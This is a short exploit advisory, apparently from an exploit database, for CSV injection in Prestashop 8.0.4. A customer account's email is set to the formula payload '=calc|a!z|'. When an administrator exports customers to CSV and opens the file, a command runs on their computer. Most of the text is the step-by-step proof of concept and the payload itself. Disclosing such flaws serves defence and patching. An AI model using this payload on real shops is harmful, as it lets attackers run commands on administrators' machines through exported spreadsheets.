Exploit Title: Prestashop 8.0.4 - CSV injection
Application: prestashop
Version: 8.0.4
Bugs:  CSV Injection
Technology: PHP
Vendor URL:
Software Link:
Date of found: 14.05.2023
Author: Mirabbas Ağalarov
Tested on: Windows

2. Technical Details & POC
Step 1. login as user
step 2. Go to My Account then information ( http://localhost/index.php?controller=identity )
step 3. Set Email as  =calc|a!z|
step 3. If admin Export costumers as CSV  file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/admin07637b2omxxdbmhikgb/index.php/sell/customers/?_token=mtc1BTvq-Oab2lBdfCaxpOorYraGGVMiTFluJzOpkWI)

payload: =calc|a!z|